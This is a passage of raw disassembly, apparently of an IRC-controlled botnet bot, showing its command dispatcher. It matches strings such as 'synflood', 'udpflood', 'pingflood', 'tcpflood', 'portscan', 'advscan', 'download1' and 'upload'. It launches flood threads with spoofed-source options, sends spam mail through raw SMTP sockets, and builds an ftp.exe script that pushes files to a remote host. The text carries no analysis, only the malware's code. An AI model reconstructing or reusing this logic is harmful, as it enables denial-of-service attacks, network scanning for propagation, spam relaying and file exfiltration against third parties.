		pop	ecx
		jz	loc_40777C
		push	[ebp+arg_8]
		push	offset aC_0	; "c"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40777C
		push	[ebp+arg_8]
		push	offset aUsa_syn	; "usa.syn"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407683
		push	[ebp+arg_8]
		push	offset aUsa_ack	; "usa.ack"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407683
		push	[ebp+arg_8]
		push	offset aUsa_rm	; "usa.rm"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407683
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EF6
		push	7Fh
		lea	eax, [ebp+var_2978]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_417B00
		push	esi
		lea	eax, [ebp+var_28F8]
		push	edi
		push	eax
		call	sub_417B00
		push	esi
		lea	eax, [ebp+var_2878]
		push	[ebp+arg_0]
		push	eax
		call	sub_417B00
		push	esi
		lea	eax, [ebp+var_27F8]
		push	[ebp+var_88]
		push	eax
		call	sub_417B00
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2770],	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	13h
		push	eax
		mov	[ebp+var_2774],	edi
		mov	[ebp+var_297C],	esi
		call	sub_40A203
		add	esp, 3Ch
		mov	[ebp+var_2778],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_297C]
		push	ebx
		push	eax
		push	offset sub_413078
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_2778]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_405EE5


loc_405ECF:				; CODE XREF: sub_401AC7+441Cj
		cmp	[ebp+var_276C],	ebx
		jnz	loc_4038ED
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_405ECF
; ---------------------------------------------------------------------------


loc_405EE5:				; CODE XREF: sub_401AC7+4406j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42D67C
		jmp	loc_4038DE
; ---------------------------------------------------------------------------


loc_405EF6:				; CODE XREF: sub_401AC7+435Cj
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40759B
		push	[ebp+arg_8]
		push	offset aSy1	; "sy1"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40759B
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406023
		push	7Fh
		lea	eax, [ebp+var_2764]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_417B00
		push	esi
		lea	eax, [ebp+var_26E4]
		push	edi
		push	eax
		call	sub_417B00
		push	esi
		lea	eax, [ebp+var_2664]
		push	[ebp+arg_0]
		push	eax
		call	sub_417B00
		push	esi
		lea	eax, [ebp+var_25E4]
		push	[ebp+var_88]
		push	eax
		call	sub_417B00
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2560],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_255C],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_2768],	esi
		push	offset dword_42D634
		push	eax
		call	sub_417D96
		add	esp, 44h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	10h
		push	eax
		call	sub_40A203
		add	esp, 0Ch
		mov	[ebp+var_2564],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2768]
		push	ebx
		push	eax
		push	offset sub_411FDD
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_2564]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_406012


loc_405FFC:				; CODE XREF: sub_401AC7+4549j
		cmp	[ebp+var_2558],	ebx
		jnz	loc_40699B
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_405FFC
; ---------------------------------------------------------------------------


loc_406012:				; CODE XREF: sub_401AC7+4533j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42D5F8
		jmp	loc_40698C
; ---------------------------------------------------------------------------


loc_406023:				; CODE XREF: sub_401AC7+446Ej
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4074B3
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4074B3
		push	[ebp+arg_8]
		push	offset aDownload1 ; "download1"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407378
		push	[ebp+arg_8]
		push	offset aD1	; "d1"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407378
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40727E
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40727E
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40718B
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40718B
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4070AE
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4070AE
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F94
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F94
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401E8B
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E8E
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E8E
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4069BB
		push	[ebp+arg_8]
		push	offset aVvv	; "vvv"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4069BB
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406875
		push	[ebp+arg_8]
		push	offset aPu1	; "pu1"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406875
		push	[ebp+arg_8]
		push	offset aU_0	; "u"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406875
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406767
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406767
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406640
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406640
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406640
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40648E
		push	[ebp+arg_8]
		push	offset aUsa	; "usa"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40648E
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406436
		push	[ebp+arg_10]
		lea	eax, [ebp+var_4150]
		push	eax
		call	sub_4183B0
		push	edi
		call	sub_417C89
		push	[ebp+arg_0]
		mov	[ebp+arg_10], eax
		lea	eax, [ebp+var_36E8]
		push	eax
		call	sub_4183B0
		push	[ebp+arg_18]
		lea	eax, [ebp+var_35E8]
		push	eax
		call	sub_4183B0
		push	offset asc_42EF54 ; " "
		push	offset dword_42DD54
		push	[ebp+esi+var_7C]
		call	sub_414FC3
		push	eax
		lea	eax, [ebp+var_34E8]
		push	eax
		call	sub_4183B0
		add	esp, 30h
		lea	eax, [ebp+var_46E8]
		push	eax
		push	101h
		call	dword_4C977C	; WSAStartup
		lea	eax, [ebp+var_4150]
		push	eax
		call	dword_4C9880	; gethostbyname
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4C987C	; socket
		push	[ebp+arg_10]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4C9800	; htons
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_34E8]
		push	eax
		lea	eax, [ebp+var_36E8]
		push	eax
		lea	eax, [ebp+var_34E8]
		push	eax
		lea	eax, [ebp+var_35E8]
		push	eax
		lea	eax, [ebp+var_36E8]
		push	eax
		lea	eax, [ebp+var_4AE8]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_417D96
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4C97AC	; connect
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_37E8]
		push	edi
		push	eax
		push	esi
		call	dword_4C9818	; recv
		lea	eax, [ebp+var_37E8]
		push	ebx
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_4AE8]
		push	eax
		push	esi
		call	dword_4C984C	; send
		push	ebx
		lea	eax, [ebp+var_37E8]
		push	edi
		push	eax
		push	esi
		call	dword_4C9818	; recv
		push	esi
		call	dword_4C9894	; closesocket
		call	dword_4C9764	; WSACleanup
		lea	eax, [ebp+var_35E8]
		push	eax
		push	offset unk_42D4CC


loc_4063EF:				; CODE XREF: sub_401AC7+5D98j
					; sub_401AC7+5F97j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417D96


loc_4063FB:				; CODE XREF: sub_401AC7+1FF2j
		add	esp, 0Ch


loc_4063FE:				; CODE XREF: sub_401AC7+3CB5j
					; sub_401AC7+3D0Dj ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_40641F
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		add	esp, 14h


loc_40641F:				; CODE XREF: sub_401AC7+2507j
					; sub_401AC7+2532j ...
		mov	esi, [ebp+arg_24]


loc_406422:				; CODE XREF: sub_401AC7+5F04j
					; sub_401AC7+6AE5j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_413B5E
		pop	ecx
		mov	eax, esi
		jmp	loc_401E8E
; ---------------------------------------------------------------------------


loc_406436:				; CODE XREF: sub_401AC7+47D2j
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406460
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406A0B


loc_406460:				; CODE XREF: sub_401AC7+4980j
		push	[ebp+esi+var_7C]
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		call	sub_417C89
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40F1D6
		jmp	loc_408A42
; ---------------------------------------------------------------------------


loc_40648E:				; CODE XREF: sub_401AC7+47A4j
					; sub_401AC7+47BBj
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1100]
		push	esi
		push	eax
		call	sub_417E90
		lea	eax, [ebp+var_1100]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_418570
		add	esp, 14h
		test	eax, eax
		jz	short loc_4064F3
		lea	eax, [ebp+var_1100]
		push	eax
		push	offset aAck	; "ack"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4064F3
		lea	eax, [ebp+var_1100]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4064F3
		push	offset unk_42D488
		jmp	loc_40662D
; ---------------------------------------------------------------------------


loc_4064F3:				; CODE XREF: sub_401AC7+49F2j
					; sub_401AC7+4A09j ...
		push	[ebp+arg_18]
		call	sub_417C89
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_FF8], eax
		jle	loc_406628
		push	[ebp+arg_10]
		lea	eax, [ebp+var_1100]
		push	esi
		push	eax
		call	sub_417E90
		push	edi
		lea	eax, [ebp+var_1180]
		push	esi
		push	eax
		call	sub_417E90
		push	[ebp+arg_0]
		call	sub_417C89
		mov	[ebp+var_FFC], eax
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1184],	eax
		lea	eax, [ebp+var_1080]
		push	esi
		push	eax
		call	sub_417E90
		mov	eax, [ebp+var_4]
		add	esp, 28h
		cmp	[ebp+var_FF4], ebx
		mov	[ebp+var_FF0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_FEC], eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_40658A
		mov	eax, offset aNormal ; "Normal"


loc_40658A:				; CODE XREF: sub_401AC7+4ABCj
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	eax
		push	offset unk_42D444
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_417E90
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	14h
		push	eax
		call	sub_40A203
		add	esp, 2Ch
		mov	[ebp+var_1000],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1184]
		push	ebx
		push	eax
		push	offset sub_4127E4
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_1000]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_406608


loc_4065F2:				; CODE XREF: sub_401AC7+4B3Fj
		cmp	[ebp+var_FE8], ebx
		jnz	loc_4079A7
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_4065F2
; ---------------------------------------------------------------------------


loc_406608:				; CODE XREF: sub_401AC7+4B29j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42D40C


loc_406614:				; CODE XREF: sub_401AC7+1CA5j
					; sub_401AC7+2940j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417D96


loc_406620:				; CODE XREF: sub_401AC7+4C9Bj
		add	esp, 0Ch
		jmp	loc_4079A7
; ---------------------------------------------------------------------------


loc_406628:				; CODE XREF: sub_401AC7+4A3Dj
		push	offset unk_42D3D4


loc_40662D:				; CODE XREF: sub_401AC7+1B6Ej
					; sub_401AC7+1B84j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417D96
		pop	ecx
		pop	ecx
		jmp	loc_4079A7
; ---------------------------------------------------------------------------


loc_406640:				; CODE XREF: sub_401AC7+475Fj
					; sub_401AC7+4776j ...
		cmp	dword_4C98EC, ebx
		jnz	loc_40674C
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_DA0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_DA4], eax
		lea	eax, [ebp+var_E38]
		push	eax
		call	sub_417B00
		push	edi
		call	sub_417C89
		push	[ebp+arg_0]
		mov	[ebp+var_DB8], eax
		call	sub_417C89
		push	[ebp+arg_18]
		mov	[ebp+var_DB4], eax
		call	sub_417C89
		push	7Fh
		mov	[ebp+var_DB0], eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_EB8]
		push	eax
		call	sub_417B00
		push	[ebp+var_DB0]
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_EBC], eax
		lea	eax, [ebp+var_E38]
		push	[ebp+var_DB4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_DB8]
		push	offset unk_42D38C
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	16h
		push	eax
		call	sub_40A203
		add	esp, 48h
		mov	[ebp+var_DA8], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EBC]
		push	ebx
		push	eax
		push	offset sub_411C3B
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_DA8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_40673B


loc_406725:				; CODE XREF: sub_401AC7+4C72j
		cmp	[ebp+var_D9C], ebx
		jnz	loc_4079A7
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_406725
; ---------------------------------------------------------------------------


loc_40673B:				; CODE XREF: sub_401AC7+4C5Cj
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42D354
		jmp	loc_406614
; ---------------------------------------------------------------------------


loc_40674C:				; CODE XREF: sub_401AC7+4B7Fj
		push	1FFh
		lea	eax, [ebp+var_2C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_417B00
		jmp	loc_406620
; ---------------------------------------------------------------------------


loc_406767:				; CODE XREF: sub_401AC7+4731j
					; sub_401AC7+4748j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	offset unk_42D300
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		push	[ebp+arg_0]
		call	sub_4176F0
		mov	edx, eax
		push	edi
		mov	edi, edx
		call	sub_4176F0
		push	[ebp+arg_10]
		add	edi, eax
		call	sub_4176F0
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_4176F0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_417E10
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_417C89
		mov	edi, [ebp+arg_1C]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_20], ebx
		jle	short loc_406861


loc_4067EA:				; CODE XREF: sub_401AC7+4D47j
		push	[ebp+arg_C]
		push	edi
		push	[ebp+arg_10]
		call	sub_415679
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_1C], eax
		jz	short loc_406812
		cmp	eax, ebx
		jnz	short loc_406831
		inc	[ebp+arg_20]
		mov	eax, [ebp+arg_20]
		cmp	eax, [ebp+arg_14]
		jl	short loc_4067EA
		jmp	short loc_40686A
; ---------------------------------------------------------------------------


loc_406812:				; CODE XREF: sub_401AC7+4D38j
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42D2C8


loc_40681B:				; CODE XREF: sub_401AC7+4DACj
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		add	esp, 14h
		jmp	loc_406A0B
; ---------------------------------------------------------------------------


loc_406831:				; CODE XREF: sub_401AC7+4D3Cj
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42D294
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		add	esp, 20h


loc_406861:				; CODE XREF: sub_401AC7+4D21j
		cmp	[ebp+arg_1C], ebx
		jnz	loc_406A0B


loc_40686A:				; CODE XREF: sub_401AC7+4D49j
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42D260
		jmp	short loc_40681B
; ---------------------------------------------------------------------------


loc_406875:				; CODE XREF: sub_401AC7+46ECj
					; sub_401AC7+4703j ...
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_B38], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		lea	eax, [ebp+var_BD0]
		push	eax
		call	sub_417B00
		push	edi
		call	sub_417C89
		push	[ebp+arg_0]
		mov	[ebp+var_B50], eax
		call	sub_417C89
		push	[ebp+arg_18]
		mov	[ebp+var_B4C], eax
		call	sub_417C89
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_B48], eax
		jz	short loc_4068DA
		push	esi
		call	sub_417C89
		pop	ecx
		mov	[ebp+var_B44], eax
		jmp	short loc_4068E0
; ---------------------------------------------------------------------------


loc_4068DA:				; CODE XREF: sub_401AC7+4E02j
		mov	[ebp+var_B44], ebx


loc_4068E0:				; CODE XREF: sub_401AC7+4E11j
		push	7Fh
		lea	eax, [ebp+var_C50]
		push	[ebp+var_88]
		push	eax
		call	sub_417B00
		push	[ebp+var_B48]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_BD0]
		mov	[ebp+var_C54], esi
		push	[ebp+var_B4C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_B50]
		push	offset unk_42D218
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	17h
		push	eax
		call	sub_40A203
		add	esp, 30h
		mov	[ebp+var_B40], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C54]
		push	ebx
		push	eax
		push	offset sub_411DC7
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_B40]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_406980


loc_40696E:				; CODE XREF: sub_401AC7+4EB7j
		cmp	[ebp+var_B34], ebx
		jnz	short loc_40699B
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_40696E
; ---------------------------------------------------------------------------


loc_406980:				; CODE XREF: sub_401AC7+4EA5j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42D1E0


loc_40698C:				; CODE XREF: sub_401AC7+4557j
					; sub_401AC7+59E7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417D96
		add	esp, 0Ch


loc_40699B:				; CODE XREF: sub_401AC7+453Bj
					; sub_401AC7+4EADj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4079C8
		push	ebx
		push	[ebp+var_4]


loc_4069A8:				; CODE XREF: sub_401AC7+1E31j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_4079C0
; ---------------------------------------------------------------------------


loc_4069BB:				; CODE XREF: sub_401AC7+46BEj
					; sub_401AC7+46D5j
		push	0Bh
		call	sub_40A44B
		push	edi
		mov	[ebp+arg_1C], eax
		call	sub_417C89
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 1F4h
		jle	loc_406B83
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42D1A0
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		add	esp, 20h


loc_406A0B:				; CODE XREF: sub_401AC7+4993j
					; sub_401AC7+4D65j ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401E8B
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408A45
		push	4
		push	esi
		call	sub_414432
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406A56
		push	esi
		push	offset unk_42D180


loc_406A42:				; CODE XREF: sub_401AC7+6D36j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		jmp	loc_408815
; ---------------------------------------------------------------------------


loc_406A56:				; CODE XREF: sub_401AC7+4F73j
		call	dword_4230A8	; GetTickCount
		push	eax
		call	sub_417DE8
		pop	ecx
		call	sub_417DF2
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_417DF2
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_417DF2
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_4558]
		push	edx
		push	eax
		lea	eax, [ebp+var_22B0]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_22B0]
		push	offset aAb	; "ab"
		push	eax
		call	sub_417A18
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401E8B
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_4182FF
		push	[ebp+arg_24]
		call	sub_41776B
		lea	eax, [ebp+var_22B0]
		push	eax
		lea	eax, [ebp+var_4350]
		push	offset aSS_3	; "-s:%s"
		push	eax
		call	sub_417D96
		add	esp, 2Ch
		lea	eax, [ebp+var_4350]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4C9778
		push	[ebp+arg_10]
		test	eax, eax
		push	esi
		jz	short loc_406B22
		push	offset unk_42D110
		jmp	short loc_406B27
; ---------------------------------------------------------------------------


loc_406B22:				; CODE XREF: sub_401AC7+5052j
		push	offset unk_42D0E0


loc_406B27:				; CODE XREF: sub_401AC7+5059j
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_406B50
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		add	esp, 14h


loc_406B50:				; CODE XREF: sub_401AC7+506Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_413B5E


loc_406B5C:				; CODE XREF: sub_401AC7+50BAj
		lea	eax, [ebp+var_22B0]
		push	4
		push	eax
		call	sub_414432
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401E8B
		lea	eax, [ebp+var_22B0]
		push	eax
		call	sub_4182D5
		jmp	short loc_406B5C
; ---------------------------------------------------------------------------


loc_406B83:				; CODE XREF: sub_401AC7+4F0Ej
		push	[ebp+arg_10]
		call	sub_417C89
		push	edi
		mov	[ebp+var_370], eax
		call	sub_417C89
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_417C89
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_406BBC
		push	5
		pop	eax
		mov	[ebp+var_36C], eax


loc_406BBC:				; CODE XREF: sub_401AC7+50EAj
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_406BC9
		mov	[ebp+var_36C], ecx


loc_406BC9:				; CODE XREF: sub_401AC7+50FAj
		push	[ebp+arg_18]
		call	sub_417C89
		mov	[ebp+var_368], eax
		mov	eax, 320h
		cmp	[ebp+var_368], eax
		pop	ecx
		jbe	short loc_406BEB
		mov	[ebp+var_368], eax


loc_406BEB:				; CODE XREF: sub_401AC7+511Cj
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_433870, ebx
		mov	[ebp+arg_20], ebx
		jz	short loc_406C3A
		mov	edi, offset dword_433870


loc_406C02:				; CODE XREF: sub_401AC7+5155j
		push	[ebp+arg_10]
		lea	eax, [edi-28h]
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406C20
		inc	[ebp+arg_20]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_406C02
		jmp	short loc_406C3A
; ---------------------------------------------------------------------------


loc_406C20:				; CODE XREF: sub_401AC7+514Bj
		mov	eax, [ebp+arg_20]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_433870[ecx]
		mov	[ebp+var_370], ecx


